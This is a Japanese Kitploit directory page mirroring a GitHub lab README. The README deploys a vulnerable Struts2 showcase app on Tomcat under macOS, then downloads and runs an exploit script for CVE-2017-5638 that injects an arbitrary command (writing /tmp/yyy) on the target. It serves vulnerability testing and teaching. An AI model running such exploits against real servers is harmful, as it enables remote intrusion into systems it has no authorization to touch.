Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
test_struts2_vulnerability_CVE-2017-5638 — Mac OS X で struts2 の脆弱性 CVE-2017-5638 をテストする | Kitploit
ツール/GitHubGitHub/sjitech/test_struts2_vulnerability_cve-2017-5638
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubsjitech/test_struts2_vulnerability_cve-2017-5638

test_struts2_vulnerability_CVE-2017-5638

Mac OS X で struts2 の脆弱性 CVE-2017-5638 をテストする

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
9年前未レビュー

test_struts2_vulnerability_CVE-2017-5638_in_MAC_OS_X

Mac OS X 上で Struts2 の脆弱性 CVE-2017-5638 をテストする

###テスト用 Web アプリをダウンロードして Tomcat で実行する

root@kitploit:~
#install tomcat
brew install tomcat

#confirm where the tomcat installed
ls -lF `which catalina`

#confirm tomcat home dir
ls -lF /usr/local/Cellar/tomcat/8.5.11/libexec

#create web app "struts2" in webapps of tomcat home
mkdir /usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2

#get web app deployment file
wget https://github.com/nixawk/labs/raw/master/CVE-2017-5638/struts2_2.3.15.1-showcase.war

#expand deployment file into the web app dir
brew install p7zip
7z x struts2_2.3.15.1-showcase.war -o/usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2

#confirm web app files
ls -lF /usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2

#run tomcat
catalina run

http://localhost:8080/struts2 にアクセスして Web アプリを確認する

###別のマシンから任意のコマンドを実行できるエクスプロイトスクリプトを実行する

root@kitploit:~
#get exploit tool script
wget https://github.com/nixawk/labs/raw/master/CVE-2017-5638/exploit-urllib2.py

#run exploit tool script
python exploit-urllib2.py http://192.168.11.5:8080/struts2/ "echo any command can be run > /tmp/yyy"

###Web マシンに戻り、/tmp/yyy ファイルが注入されたことを確認する

root@kitploit:~
cat /tmp/yyy

動画: https://youtu.be/iQ_f-eG-EXg

ツールをダウンロード